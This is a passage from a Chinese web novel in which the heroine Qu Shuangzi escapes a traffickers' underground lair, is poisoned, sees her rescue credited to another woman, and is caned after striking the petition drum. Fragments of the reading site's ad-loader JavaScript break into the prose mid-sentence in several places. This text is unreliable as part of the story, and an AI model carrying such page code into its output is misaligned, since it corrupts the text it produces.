也不知道他们听懂没有,曲霜姿叹气,左右她也是在拿性命作赌,也就不再执着,继续往前走。 再往深处就彻底杳无人音了,寂静的可怕,曲霜姿造出的任何声音都会成倍放大,一声声地回荡,惹得人心里发毛。 曲霜姿先入为主,以为人住在前边,这后边就会是放置杂物的地方。可没成想,除了几具发烂发臭的尸体再空无一物,路越走越窄。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 既然没什么用,这后头又何必挖这么深? 肯定有猫腻。 于是她一刻不停地继续往前,或许她其实并没有走多久,只是呼吸困难、又只能俯身前行,行动过于迟缓了。 她抬手抹了把汗,第无数次给脚底下的老鼠让开一条道,然而她用余光随意一瞥,却见一只老鼠口中叼着个金灿灿的玩意儿。 金子! 曲霜姿眼睛一亮,调整呼吸加快速度。 不出多时,眼前豁然开朗,数不尽的金银财宝堆积在一起。曲霜姿被晃了眼睛,顿时怔在原地,这样多的财富——定是他们数代经营、掠夺积累来的。 像是她阿娘故事里强盗的宝窟。 金银特有的味道让少女觉得臭气冲天,更确切的说,这是欲望的臭味、是鲜血的腥味、是尸体的腐味。 长风看着和她差不多年岁,从他父母一辈就开始作恶了,至少十几年……不,曲霜姿皱眉,她想到那个店里的老伙计,现在还不清楚那人的身份,但绝对是不容小觑的,如果是从此人开始…… 几十年……曲霜姿攥紧了拳头。 她有能力和这群人作对吗?茫然的心情涌了上来,曲霜姿想不到变数在何处,长风到底为什么引自己来这个地方。 她四处转了转,寻了个隐蔽的地方藏了起来。 长风会来吗? 曲霜姿要被这里给逼疯了,一呼一吸间都烦躁无比,甚至有种要死在这里的恐怖预感。 她是不是又太狂妄自大了。 如果寻求公主的帮助…… 思绪混乱至极,曲霜姿疲累不已、饥渴难耐,眼皮子都在打颤,也许快到晚上了,她不知道那群人是否已经发现她消失不见,也不知道被发现了又该怎么办。 不知又过了多久,她遥遥欲坠地起身,打算原路返回。 然而她还没有从这个堆着金银的洞穴移到甬道口,曲霜姿听到了有脚步声传来,迅速熄灭火把闪身躲好,小心翼翼地观察着。 来人步履蹒跚又沉重。 曲霜姿心提到了嗓子眼,暗暗猜测这人是谁。 答案很快揭晓,正是那个老伙计,曲霜姿屏住呼吸,暗中盯着老人的一举一动。 老人在原地伫立良久,似乎是在细细欣赏这些财宝,看着看着,他嗓子里突然挤出来细碎的笑容,沙哑又诡异。 老人笑得更加狂放,“我的!都是我的!” “我还要更多!更多!谁也拦不住我!” 像是她阿娘故事里的吃人老妖。 曲霜姿抓紧手中匕首,冷汗不住往外冒。老人一步步往前,朝着她的方向过来,少女咬紧牙关,缓缓往后退。 二人就如此僵持着。 突然,曲霜姿不小心踢歪一个小箱子,发出沉闷的响声。 “谁!?”老人吼了一声,朝这边加快脚步。 完蛋了,她不会要像卡西姆一样惨死于此吧。虽说面前的只是个老人,但这地底下全都是他们的人,她至少是以一敌百的。 老人又走了几步,忽得停下脚步,几只小老鼠吱吱乱叫地爬过。 曲霜姿听见他喃喃低语,“是群小老鼠啊。” 她提着的心终于放下,闭眼轻轻呼出一口气。 再睁开眼睛,一张布满皱纹、狞笑着的老脸映入眼帘,口中污浊气打在曲霜姿脸上,熏得她大脑彻底空白,耳中轰鸣不停。 曲霜姿被骇得心如鼓擂,她瞬间瞪大双眼。 老人发出咯吱咯吱的笑容,语气森然而缓慢,“原来还有一只落单的小老鼠啊。” 48. 羌山派后人 说时迟那时快,曲霜姿立刻后仰撤了一步,男人看似上了年纪,身手却极快,立马掏出一把刀追了上去。 使刀很难有人能灵巧过曲霜姿,她亦拔出匕首,刀刃划破空气,她卯足了劲儿飞身而上,想要试出男人的身手。 曲霜姿攻,老人就守,曲霜姿要逃,老人就立刻要追,步步紧逼。 “你逃不出去的。”男人阴险地说完,又从腰间拔出一把小刀模样的物什来,咻得一下飞到曲霜姿面前,被她及时挡住。 老人使镖使得极为熟练。 她从前听余肃讲过,这江湖之中曾经有一个门派,最善用毒镖,干得就是抢劫杀人的营生,后来被朝廷歼灭了,只跑了几个小孩儿。 三十多年过去,难不成…… 曲霜姿在心中暗暗猜测,老人个子和曲霜姿差不多,身手矫健,又是几枚毒镖向她飞过来。她再无法避战,咬牙道:“拼死一试!” 她借力而上,从上空袭击、拉近二人距离,老人连连退后。使镖的人该是擅长远攻和偷袭,而曲霜姿则擅长近站,加之他们身处一堆堆宝物间,地方本就狭小,曲霜姿很快占了上风。 但老人诡计多端,看出曲霜姿的心眼儿,于是甩出几枚镖将周围一圈儿的财宝都击落,周遭变得开阔,男人如履平地。 曲霜姿体力不支,粗喘着气,被毒镖逼得化攻为守,最后退无可退。 “别跑了,小姑娘,你跑不掉的。还不如尽快坦白自己的身份,我们好留你个全尸。” 曲霜姿武艺是余肃教的,但只有轻功和匕首练的不错,其余得都稀疏平常。余肃又更善用剑,在匕首之道上也没法儿叫曲霜姿精益求精。 曲霜姿平日里也至多用轻功在院子里上蹿下跳,很少会有需要她和人动真格打架的时候。她眼下是悔得肠子都青了,早知今日,当初就一定跟着余肃好好学。 “你又是何人?羌山帮的后人?” 老人眯起眼睛,“懂得不少啊。” “但知道的太多,就是死路一条。”老人持刀而上,曲霜姿挡了几下逐渐招架不住,她调准时间向甬道退去。 老人觉得她傻得可爱,亡命之徒居然还要垂死挣扎。 一枚毒镖刺入曲霜姿肩头,曲霜姿闷哼一声,下意识扶着墙壁,就在她以为自己跑不掉的时候,墙壁突然凹了进去,宝窟也迅速关闭,将老人关在了里面。 曲霜姿目瞪口呆。 又是机关,她屏住呼吸仔细听了听里头的动静,确认老人没法儿从里面打开宝窟,正急地怒声大骂,曲霜姿终于松了口气。 她忍痛拔下毒镖,黑血咕嘟咕嘟地往外冒,疼得她都没力气龇牙咧嘴。 这时,深不可测的甬道里再次传来急促的脚步声。 曲霜姿在心里暗骂一声,一个老家伙尚且难缠,她现在又受了伤,岂不是必死无疑?饶是如此,她不服输的劲儿还是促使她握紧了手中匕首,她已经下定了决心。 她潜伏在此处,如有来人,必定神挡杀神,佛挡杀佛! “曲霜姿?”对面的人语气焦急,低低唤了一声。 曲霜姿一愣,听出这是长风的声音。 她还不敢确定长风是否可信,依旧做出攻击的架势。长风小跑过来看见她,眼里透出欣喜的光,再看少女肩头染血顿时脸色大变,“你受伤了?” “可是老祖宗的毒镖?”他攥紧眉头。 曲霜姿不答反问,“老祖宗?” 长风也不答,他听见从宝窟里传来的叫嚷声,大概摸清了事情的来龙去脉,“我给你包扎。” 少女后退一步,眼中毫无信任,“你最好给我说清楚,你引我来此的目的。” 长风强硬地拉住她,帮她清理余毒、包扎伤口,“你得赶紧出去,毒已经侵入体内了。” 曲霜姿心下一惊,她能感觉得出来,她左边这一侧的胳膊已经疼得麻木,抬都抬不起来了。但她面上还是一副云淡风轻的模样,不卑不亢地盯着长风。 “里面那个是我祖父,羌山帮的后人,对朝廷恨之入骨,便想出这种办法报复,”长风面色很难看,“他觉得朝廷害得他家破人亡,他也必要破坏别人幸福美满的家庭。” “你一路来时见到的机关,都是我设计的,我拜师学艺多年,今年才回到我祖父身边,你刚刚误触这个,是我偷偷设计的,除我以外无人知晓。” 曲霜姿还是问:“为什么?” “我没回来前就知道他们是干什么的,只是没有亲眼见过,亦没有能力阻止,回来后更加不愿与他们为伍,所以如此设计,以备不时之需。” “你想清楚,你要是帮我毁了这个组织,到时候连你也不能幸免于难。”曲霜姿肃然提出,她想知道长风是否宁愿赔上性命,也要毁掉这里。 长风眼里似有不甘的火焰,但很快被压下,“先毁了这里再说。” 他扭头看向曲霜姿,“我没想到你会这么快动身,否则绝不会让你受伤。他们送晚膳时才发现你不见了,正在前面大力搜捕。” 曲霜姿沉默半晌,“你我不过萍水相逢,不用说这样的话。” “那你想好怎么破局了吗?”长风试探问道。 曲霜姿只是淡淡看了他一眼,夺过他手上火把,“我要是想烧掉这儿,你有什么意见吗?” “烧掉?怎么烧?” “这是泥炭土。”曲霜姿伸手在墙壁上揩了一下,补充道:“易燃。” 长风好像确实听说过这种传说,但没有实践过,他皱皱眉,心中有些担忧,“烧吧。” 曲霜姿将火把扔向宝窟的门,立即拉着长风往外跑,身后隐约传来老人凄惨的喊声。 跑着跑着就变成了长风拉着她,一回生二回熟,再加上有长风带她抄近道,二人很快就跑到了关押男奴的地方。 那群人牙子刚查到这里,一个曲霜姿见过的男奴看见曲霜姿就惊喜地哭喊道:“哥,哥我没胡说,你看!” 曲霜姿飞快举起匕首,抵在长风脖子前,“你们谁胆敢阻拦我,我就立刻杀了你们四爷!” 混乱当中,长风装作害怕地打掉墙上的一根火把,火把跌落在地登时燃烧起来,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惊呼着下令:“快带着弟兄们跑,别管我!” 长风确实聪明,学习能力很强,有了这一把火,整个地下全乱了,二人如虎添翼随着人潮往外跑。 火舌蔓延得实在太快,但凡能跑得动的全都跑了出去,有个残疾的男奴拉住一个人牙子求他带自己逃命,却被一刀劈死。 曲霜姿看在眼里心如刀割,却无能为力。 跑到相思阁院子里的那一刻,曲霜姿有种恍若隔世的感觉。 院子里乌泱泱地挤满了人,这群乌合之众还当真是人多势众,更别提还有些人被火吞没,永远留在了地底。 二爷和三爷此时暂且达成了一致,命人把曲霜姿围住。 曲霜姿的手有些发抖,长风在他耳边轻声说:“把匕首贴得近些。”低声嘱咐过,长风惨兮兮地呼救道,“快救救我!” 夜已深,附近也只有相思阁还灯火通明,王娇很快被院子里喧嚷引出来,看到这幅场景顿时吓了一跳,“哎呀!” 曲霜姿顾不得旁的,她心里默默盘算着——她和林寻雁约好的是明天中午才会来,她定不可能牵制这些人这么久,必须以逃命为先。 但诸多奴隶连同江梅都还被这群人押着,曲霜姿不知所措。 长风又在她耳边斩钉截铁道:“先撤,找援兵。”曲霜姿这才如梦方醒、带着长风往院门口退去。 有人上前给二爷和三爷传话,二人听了顿时脸色大变,但很快二爷狂狷笑出了声,他下令道:“杀啊,平时的饭都给猪吃了吗?连个小妮子都奈何不了,还要你们做什么!” “不,”三爷面无波澜、冷冷开口:“抓活的,杀了长风不要紧,谁能抓住这个女人,谁就是新的四爷。” 曲霜姿和长风对视一眼,各自散开投入厮杀中。 长风倒也得了羌山派些许真传,毒镖使得稍欠火候,但他怀里全都是瓶瓶罐罐的毒药,一股脑地洒了出去。 曲霜姿难以招架得住这么多人围攻,长风便用毒雾掩护他们撤退。 门被锁得严严实实,他们出不去,曲霜姿举起匕首对着锁狂砍,却始终没有破开,长风力气大,替她继续劈向门锁。 曲霜姿杀了一个扑上来的男人,长风那边也终于劈开了门锁,就在她要踏出门槛之际,身后传来少女的喊声:“曲霜姿,你不是来救我们的吗?” 曲霜姿身形一僵,她大脑本就昏昏沉沉的,这一声喊更让她变得糊涂。 对啊,她是来救人的。 她今天要是这么走了,那这些奴隶会怎么样呢? 一瞬的出神,有人持刀劈来,曲霜姿生生被砍了一刀,随后被长风牢牢护住。 长风护着她往外跑,身后的人不断扑上来,她听见长风一直在忍痛闷哼,回头看去,少年的后背血淋淋的,到了不堪入目的地步。 她不甘就这么走了,掏出匕首还要再战。大不了就死在这里算了,总好过拖累了长风、还一事无成地回去。 身后突然传来马蹄阵阵,刹那间烟尘四飞。 恍惚间,曲霜姿听见了沈无逆喊她。 49. 霜姿之铁骨 黎明时分,天边的死鱼翻了肚皮,而沈府的烛光却一夜未眠。 沈无逆的脸被烛火晃着,叫人看不出他神色,又无端生出畏惧来。 “沈公子,姑娘受伤不重,但体内毒素已经蔓延至五脏六腑,小的实在看不出这是什么毒。”郎中的声音直发颤,垂眸不敢看他。 言外之意是,也没有解药。 沈无逆领兵到相思阁将那群人一网打尽,回来就守在少女身边将近一夜,他似是染上秋霜的寒,整个人散发着冰冷的气息。 榻上少女的脸色难看至极,浑身冒着冷汗,起先还翻来覆去地说梦话,现下连动弹的力气都没了。 可她眉间那股倔强坚毅仍未散,沈无逆盯着她的面庞,默默地伸出手指想要触碰,想要抚平她紧皱的眉头。 猛得回神,沈无逆轻咳几声,不知自己为何会有方才的荒唐举动。乐知还趴在榻前,抽抽噎噎的,惹人心烦。 白术进了屋,看见自家殿下整颗心都系在曲霜姿身上,实在不忍心打搅,“公子……那个和曲姑娘一起出来的少年,醒了。” “醒了就押入大牢,给我说做什么?” “那人一醒来就吵嚷着,说只有他能够救曲姑娘。”白术小心翼翼地转述。 “带进来。”沈无逆攥紧眉头,立即下令。 长风被人搀扶着进了屋子就直奔曲霜姿而来,他眼里像是没有旁人一般,沈无逆也没怪罪,和长风一同守着,时刻准备拿下此人。 曲霜姿情况比长风想象得更严重,他不敢耽误半晌,脱口而出几种药名命郎中取出,话语里的强硬甚至让郎中忘记了请示沈无逆。 药物很快配制好,长风从怀里掏出一个青色的小瓶,抬手就要倒入药中,白术反应迅速立刻拦下。少年不卑不亢地抬眸和沈无逆对视,气焰终究被沈无逆压过,他咬咬牙先将药粉倒入自己口中,沈无逆这才让白术收手。 随后便是等待药煎好,长风这时也没闲着,自作主张挽起曲霜姿的衣袖和裤腿,掏出小针帮她放毒血。 沈无逆皱紧眉头,原想非礼勿视,可长风却不仅看了少女白皙的四肢,还“上下其手”,他心中莫名不服,又移回了目光。 白术见状,也红着脸抬眼看,被沈无逆不动声色地拧了一把,委屈巴巴地退了出去。 “你懂医术?”沈无逆淡淡开口。 “懂毒罢了。”长风也淡淡回道。 “你为什么要救她?”沈无逆不解。 “你为什么要救她?”长风即刻反问。 二人僵持不下,直到下人端了药,长风主动端过就要喂曲霜姿,沈无逆再无法忍耐了,命人把长风拖了下去。 他坐到少女床前,看少女神情痛苦,心也跟着绞痛。沈无逆看着乐知给曲霜姿喂药,心中难耐地思索着长风问的问题。 沈无逆这么多天一直暗中观察着曲霜姿,从前派人跟踪只是怀疑,而这一次确是切切实实地放心不下。 过去他住在宫中,宫里的夜太长太黑太过于压抑,以至于他第一夜搬到沈府时心中时多么欢喜,他以为自己一生都要戴着假面,做一个冷冰冰的人。 可曲霜姿像一把火,少女从前就救过他,来到沈府后更是给这宅院添了些活气。宅子里,有人在笑、在闹,有人同他讲话、有人关心他,他方才知道什么是真正的欢喜。 一片霜花,来时轻飘飘的,分量却极重。 曲霜姿走后,没人再偷溜进他屋子,没人再和他拌嘴吵闹,他的心像是突然空了。 沈无逆不止一次说服自己,他救她只是想还她阿娘的恩情,只是于心不忍一片纯净的霜花融化在盛京。 可是这么多年寄居他国、受人掣肘,他心中早已是一片荒芜,唯一的情绪就是不甘、愤懑……哪里来的感恩与不忍? 曲霜姿饮了药,呛咳几声,郎中连忙上前搭脉,神色转悲为喜,“神药啊!虽有余毒未清,但姑娘脉象已经平缓,想必不须多时就能醒了。” 在场众人皆松了口气。 白术又畏手畏脚地进了屋,他俯首请命:“公子,林府的人还有余公子都在外面候着,都问林姑娘情况呢。” 沈无逆叹气,“让他们回去吧,曲霜姿没什么大碍了。” 好嘛,原来曲霜姿是个这么香的饽饽儿。他前脚刚带人到相思阁,看见长风为护着曲霜姿几乎要昏死过去,后脚余千帆就带着乐知及林府的几个府兵到了。 林寻雁大家小姐不能深夜出户,这份心意也已然尽到了。 沈无逆忽然意识到,自己活得太失败了。 要是有一天他身陷囹圄,会有人来这样舍命搭救吗?他趁着周围人不注意,轻轻触了触少女沉睡的脸颊。 他奢想:这个小姑娘,会不会来救自己呢? 曲霜姿发出一声嘤咛,睫毛轻颤,是要醒了。乐知看见,眼泪和笑颜一齐出现,她瞬间扑了过来,“霜姿!” 沈无逆默默后退一步,嘴角居然跟着上扬,他很快释然:要是自己真的到了需要别人搭救的田地,大抵是已经做了大逆不道的事情,如果真有那样一天,清白的霜雪还是莫要牵连进来吧。 只是此时谁也不会料到,曲霜姿日后会走上一条——比沈无逆更险峻百倍的道路,还是一条只有孤身只影才能走的路。 天已经彻底亮了,沈无逆看着曲霜姿,只漫不经心道了句好好休息,随后转身离去。 二皇子的人已经守候多时了,来人面色不虞,“沈公子,这次可是你私自调了禁军,陛下要过问,公子可千万要谨言慎行呐。” 盛京城内,天子脚下,直属于当今皇帝的军队名为皇城司。而禁军则不同,其兵籍和发兵之权归枢密院,二皇子私底下与枢密院颇有渊源,沈无逆情急之下调兵也是借了二皇子的名义。 如今皇帝要亲自审讯,沈无逆却不能再提及二皇子半点。 “挨些板子、罚些俸禄也就过去了,二皇子不会亏待您的。” “是。”沈无逆垂眸,出声应下。 白术愤愤不平地隐在暗处,他从邵辰千里迢迢偷偷跟来,这么多年一直隐姓埋名、表面是二皇子派到沈无逆身边的眼线,其实满颗心都向着自家殿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下,但有时候也只能看着自家殿下受尽委屈、无可奈何。 — 曲霜姿刚刚睁眼,就见沈无逆面色凝重地离开了,她疲累地吐出一口气,心道这人怎么这样厌烦她。 她伸手轻轻抚摸乐知的脸颊,替女孩儿揩去眼泪,“好啦,别哭啦,我这不是还活着嘛?” “江梅他们呢?人救出来了吗?” 乐知一个劲儿地点头,泪水如断了线的珍珠往一边往下坠,她低声呜咽,“你为什么要这么拼命啊?” 曲霜姿笑着摇摇头,“跟我一起出来的那个少年呢?” 白术缓缓走进来,“已经押入大理寺的地牢了。” 意料之中,但曲霜姿还是焦急地坐了起来,起的太猛,致使她一阵头晕眼花,“我要见他。” “我家公子让你好生歇着,三天之内不许下榻,至于这桩案子,他会努力办好的。” 曲霜姿犹豫不决,最终还是被乐知扶着重新躺下。乐知给她递上一碗清水,“你要好好休息,养好了伤才能有精力办案。” 她妥协叹气,“好吧,那你把我昏过去之后的事情通通讲给我听。” 乐知点点头。 — 曲霜姿闲了三天,却一刻都没忘记大理寺的案子,沈无逆这几日也没回家,只是派人看牢她,连后墙都有人守着。 也幸亏有乐知陪着,还有余千帆经常来看她,然而她焦急地等了三天,林寻雁却都没来看她。 “寻雁她是不是遇上什么事儿了,还是说大理寺公务太忙?” 乐知也不明白,猜测道:“许是林小姐一个大家闺秀,不能随意造访外男府邸吧。” 曲霜姿觉着有几分道理。三日期满,她就立刻收拾好要去大理寺,余千帆莫名要拦她,让她再休息两日。 然而她是一秒钟都闲不下来了,飞也似得往大理寺去了。 踏入大理寺门槛,曲霜姿彻底傻眼了。 院里站着几十个人,乌泱泱一片,曲霜姿努力睁大眼睛想要看清他们的脸,这才意识到这群人是干什么的。 他们洗干净了脸和身体、治好了伤口、换上了整洁崭新的衣裳,以至于曲霜姿没有第一时间认出——这是她豁出一条命救出来的可怜人啊。 沈无逆不知何时站在她身边,轻声开口:“这里有当时被关在地下的,也有被埋到各家后解救出来的。” 曲霜姿忍不住湿了眼眶。 她看着那些人齐齐朝她鞠躬,哭着向她道谢,她这才不觉得心里发慌了,脚下所踩也化作实地,切切实实地有了从那夜大火中挣出来的昕悦。 她与他们久久对视,曲霜姿缓缓拱手回了个礼,一滴豆大的泪珠砸在地上。 曲霜姿脑海中突然冒出了一句话:阿娘,我真的做到了。 她真的做到了,她有拯救别人的能力。 直到她跟着沈无逆回到屋里坐下时,曲霜姿还有些回不过神来,她怔怔开口:“那些人以后会怎么样?” “还有,”曲霜姿一时情急,抓住沈无逆的手,“怎么没见江梅?” 50. 说曹操就到 看她脸色仍有些苍白,沈无逆下意识放缓了语气,几乎是轻声细语道:“你别担心,有些人被卖去了好人家,便也就留了下来。” “剩下的,大理寺都给他们发了救济金,有家的回家,没家的就想办法安身立命。” “江梅被救出来那日,就被她姐姐带了回去。” 曲霜姿听着听着就浮起笑容来,她感慨道:“真好啊。” 然而沈无逆却语气忽然一转,严肃道:“你之后勿要再冲动行事,一定要注意安全,不要在那自己的性命开玩笑。” 说真的,当他远远看见曲霜姿要转身再杀入相思阁时,心都提到了嗓子眼儿。他只恨他出发得太晚,马儿跑得太慢,恨自己为什么啊,和曲霜姿闹僵,要是他能陪在曲霜姿身边,也许少女就不会中毒受伤、生命垂危。 “我现在也不是你的小吏了,你也不用用这种语气说教我,”曲霜姿开玩笑地打趣一句,随后神色肃然,认真道:“这次多谢你,如果没有你,我也确实救不了他们。” 得了一句谢,沈无逆倒噎住了,他无措地侧过头,不敢直视少女情感赤忱的眸子。 “贺卫呢?”曲霜姿没察觉到他的异样,看向他的眼神流露出期待。 “昨晚被押入了大理寺地牢。” “那长风呢?” “亦在大理寺地牢。” “我要见他!”曲霜姿语气斩钉截铁。毕竟长风救了曲霜姿,沈无逆早就料到她会想见他,只好虚叹一口气起身:“跟我来吧。” 大理寺的地牢鲜少有这么多人,虽然两侧墙上都点了灯,但曲霜姿还是觉得有些喘不过气,冒着火焰的烛在她眼里连成一片,仿佛下一瞬就会向她扑来。 曲霜姿下意识往沈无逆身后躲了躲,但看到长风的那一瞬,她激动地冲了上去。在她记忆的最后,长风受伤深重、奄奄一息,如今少年仍能站在她面前轻轻笑着,怎能不让人激动。 “长风,”曲霜姿将手穿过栏杆,“你还好吗?” “还好,他们大多没学过武,拿起刀来也不过是班门弄斧。” 共历过生死,他们之间的关系在不知不觉中拉近了,曲霜姿皱紧眉头,回头问沈无逆道:“涉案人员会如何处置?” “其头目处以死刑,从犯减刑一等、砍手砍脚,其余人依据情况发配充军或终生囚禁,贺卫有包庇犯罪、贪赃枉法等行为,游街示众、处以斩刑。” “还有相思阁老板,处墨刑,入奴籍。” 曲霜姿一顿,她偏头看向另一间牢房里的贺卫,她曾经翻看过大理寺的卷宗,以往有相同行迹的官员都没有被这样严苛惩罚。 然而并不是贺卫罪不至此。 而是错了许多年,终于对了。 “那长风呢?” 沈无逆对她摇了摇头,曲霜姿据理力争,“他刚刚拜师归来,并没有参与进去!” 沈无逆目光徐徐移到长风身上,语气骤然变冷,“无人能证明这些,且此人精通用毒,有大义灭亲之狠厉。” “更需要的是,他亦包庇瞒报、坐视不理,”沈无逆拉住曲霜姿,往远退了几步,压低声音,“此人绝非良善之辈,不宜轻信。” 曲霜姿仰头看他,眼神仿佛在质问:“你何尝不是如此?”沈无逆不知是不是自己多想,猛得松开攥着少女衣袖分手。 “他不是大义灭亲,而是将功补过。” “不是任何人都算是亲人,不是吗?”她微蹙着眉,眼神中又似有悲悯。 沈无逆衣袖下的手不住地颤,他想起之前邵辰来的密报,说是他父王母后当年在他离开后不久就秘密生下了一个男婴,直到近来才以义子的身份昭告天下。 他满心牵挂的国家也许已不需要他了,他千思万想的父母也许已忘却了他了。 心狠狠揪住,疼得他耳边轰鸣不断,沈无逆努力拨开杂乱的思绪,这才听见曲霜姿的话。 “我要面圣!”少女神情决绝。 她要保下长风,好歹自己如今也是有功之人,皇帝若是明君,就必会听她一言。 男人还没来得及反应,外头突然传来闹声,紧接着是一阵诡异肃穆的沉寂,三人皆反应敏锐,不约而同地往外看去。 一个捕快匆匆来报:“大人,圣旨!” 这是——说曹操曹操就到啊。 曲霜姿和沈无逆匆匆对视一眼,迅速往外走去。 为首的太监身着灰蓝色的曲领大袍,头戴圆形冠帽,正眯着笑颜,见人都来齐了,他神色瞬变,自带几分天威。 他扯着嗓子:“奉天承运皇帝,诏曰!” 曲霜姿跟着众人跪伏在地,刚刚过来的时候她一眼就看到了站在前头的林寻雁,她正盘算着一会儿要去找林寻雁,结果头顶上突然就传来了一句“林氏之女,林寻雁。” 少女猛得回神,仔细听起来。 老太监顿了顿,继续道:“秀外慧中、颖悟绝伦,初入大理寺便屡立奇功、造福于百姓、为圣上分忧!” 大堆烂腐陈词,被串成一连串的珠子,听着玲珑巧丽,把大理寺各人的功过都讲了个遍。 曲霜姿从来没见过那么多的赏赐,也没听过这么多夸耀之死,震惊之下久久愣神,唯有最后一句落到曲霜姿心里。 圣上感其功劳,特将仵作一职设为大理寺正式官职,设为从九品。 此行也算彻底将仵作剥离“贱籍”,她阿娘从前虽不是真正的仵作,但听了一定会高兴的。 只是这一切,居然都归功于……林寻雁? 众人不知何时谢了旨,早已起身恭贺,只有曲霜姿还跪伏在原地。她仔细回忆那老太监口中字字句句,回忆一遍又一遍,没有找到自己的半点痕迹。 许久,她起身,沈无逆正用他担忧的眼神瞧她,曲霜姿回以惨淡的微笑。 曲霜姿虽不追名逐利,却有了一种努力落空的感觉,归根结底,她该要步步高升,站得更高、看得更远,以求能为更多的人摆脱冤屈,以求能查到阿娘死亡的真相。 可是本该是她的东西,却成了别 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人的了。 她还是一无所有。 “我还是要面圣,”她垂眸,没敢看沈无逆的眼睛,“我还是要面圣,我去敲登闻鼓!”她倔强抬头,眼中隐隐有泪光在闪。 她在人群中扫了一眼,已经不见林寻雁的身影了。 曲霜姿没再停留,径直向外走去,满院子的官员杂役齐齐向她行注目礼,有人佩服,但更多的是不屑、是幸灾乐祸。 沈无逆想要追上她,却猛得身体僵住,一头栽倒。 — 正午时分,太阳许久没有这样炽烈。 曲霜姿一步步走向皇宫外的登闻鼓,周围人都用讶异和好奇的眼神看她,她都视若无睹,反而一步走得甚一步果决。 登闻鼓响,必有冤情。 然而鼓上蒙着灰尘,还有几缕蛛丝缠绕,让人生出天下太平的错觉。曲霜姿举起鼓槌,毫不犹豫地敲下,她卯足了力气,接连不断地敲,鼓声不绝于耳。 周围远远地围着一群看热闹的人,他们小声议论,却还是听起来叽叽喳喳的。 看管登闻鼓的侍卫被惊着,第一反应居然是拔剑相向,怒声斥责:“何人胆敢在此造次!” 少女语气冰冷,“敲个鼓就是造次了嘛?” 侍卫迟钝地反应过来,他急忙喊来人疏散围众,皱着眉质问曲霜姿:“敲登闻鼓可是要挨板子的!你确定还要敲?” 曲霜姿的回答是继续重重敲击。 鼓声巨大,每一次响都直入人心,将人心都震得颤栗。 “来人,把此人带下去,杖责二十!” 依本朝律例,敲鼓者诉冤之前都需得受刑,男受杖责三十,女子则受二十。曲霜姿没有任何异议,几个侍卫搬来长椅,她顺从地趴了上去。 这边空旷,曲霜姿微微抬眼,只看见无垠的天边一道红檐,她的心都空了,余光怔怔落在檐上。 两侧侍卫高举刑杖,依次落在少女薄弱的身体上。 第一杖迅速落下,几乎要划破空气,曲霜姿没忍住喊出了声。这比她想象中的疼多了,被打的地方又痛又麻,叫人以为掉了一块儿肉似的,随后疼痛又从那处扩散到四体百骸,波涛般圈圈回荡。 接下来几杖,曲霜姿忍着没出声,实际上也是疼得发不出声音,她手紧紧抓着木椅,将长椅抓出可怖的痕迹来。 有一下居然打到了她旧伤上,她疼得近乎昏厥过去,明明是凉秋,身上衣物都被不知是血还是汗的糊在了身上。 不知道阿娘被刺身亡的时候,是不是也像这么疼,还是比这要痛百倍千倍万倍,她的心都跟着疼。 意识逐渐模糊,隐约间,曲霜姿居然又听到了登闻鼓的声音。 一声响亮甚过一声,曲霜姿以为是自己要死了,才会产生这样的幻觉。这登闻鼓多年未被人敲响,除了她,谁会做这样的傻事呢? 但身上疼痛慢慢缓解,曲霜姿迟钝地意识到:行刑的人停了。 他们都看向了登闻鼓。 而鼓,竟是真的响了。 51. 最大的奇迹 曲霜姿艰难抬头,映入眼帘的是一群人,虽然她视线模糊,但也已经认出了为首的是余千帆和林寻雁,还有乐知。 人群中居然还有江桃、江梅二姐妹,都在排队等着敲鼓。 侍卫上去阻拦,曲霜姿趁着这个空档喘息一番,泪水不争气地涌了出来。 乐知趁乱跑了过来,趴在她身前捧起她的脸,“霜姿、霜姿,你还好嘛?是不是很疼?我们来救你了。” “你别怕。”怯弱的乐知反过来安慰曲霜姿了,曲霜姿挤出抹笑,无声做了个口型,有血从她口中淌出。 “好。” 侍卫一看来的人是余家少爷和林家小姐,都慌得不得了,急急又派人去回禀圣上。圣上说规矩不能坏,除了余家林家两位,其余的受了罚才能面圣。 曲霜姿咬牙道:“乐知,你还没敲鼓,你现在快离开!” “不,”乐知拼命摇头,“我不走,我陪着你。” 又一杖落下,乐知挡在曲霜姿身上,替她挨了一下,“他们说还剩八杖,我替你挨着,二十杖可是会死人的啊。” 林余二人知道自己不会被打,索性就一人一个棒槌,半刻不停地敲着。有侍卫要拉走乐知,乐知拼命抵抗,一个劲儿地往曲霜姿身上扑,她哭着呐喊:“还有没有天理了!” “登闻鼓摆在那儿却不让人敲,有冤情还要先挨打,老百姓哪里还敢来敲鼓!这天下哪敢还有冤情!?” 曲霜姿没力气说话了,她在心里骂乐知。 傻姑娘,世上没人敢说的话就不要说,真是和自己学坏了……这些无人敢言之语,全由自己来说就好。曲霜姿胆大妄为,更重要的是,她还命大。 她好像回到小时候,阿娘把她抱在怀里,贴着她的脸庞一遍遍说:“霜姿,你是这世上最大的奇迹。” 曲霜姿一直深信着。 余千帆也过来拦,那些人不敢伤他,终于停下,“余公子,您快回去吧,圣上之令如此,我等也不得不为啊。” 为首的侍卫压低声音,“我们已经是手下留情了,还有五杖,您也得让我们好交差啊。” “住手!” 廷杖要再下,突然有男声呵斥,声音肃穆庄重,带着几分不容置疑的威严,引得众人都看了过去。 侍卫看清来人立即迎了上去,“余相!” 来人正是近来刚担任丞相的余肃。 余肃快步走过来,侍卫还在阿谀道:“您家公子可没受半点伤呢。”余肃笑着看了他一眼,然而笑意不达眼底,森森然的,“我来接我的女儿。” 侍卫瞬间懵了,心道难不成坊间传闻都是真的,余肃称病了十余载,其实就是养女儿去了!? 他下意识看了眼排队敲鼓的人,猜测哪个是余相要找的女儿,思索着自己方才有没有不敬之举。 但余肃没有看那些人一眼,他红着眼眶,向长椅上血肉模糊的少女走去。 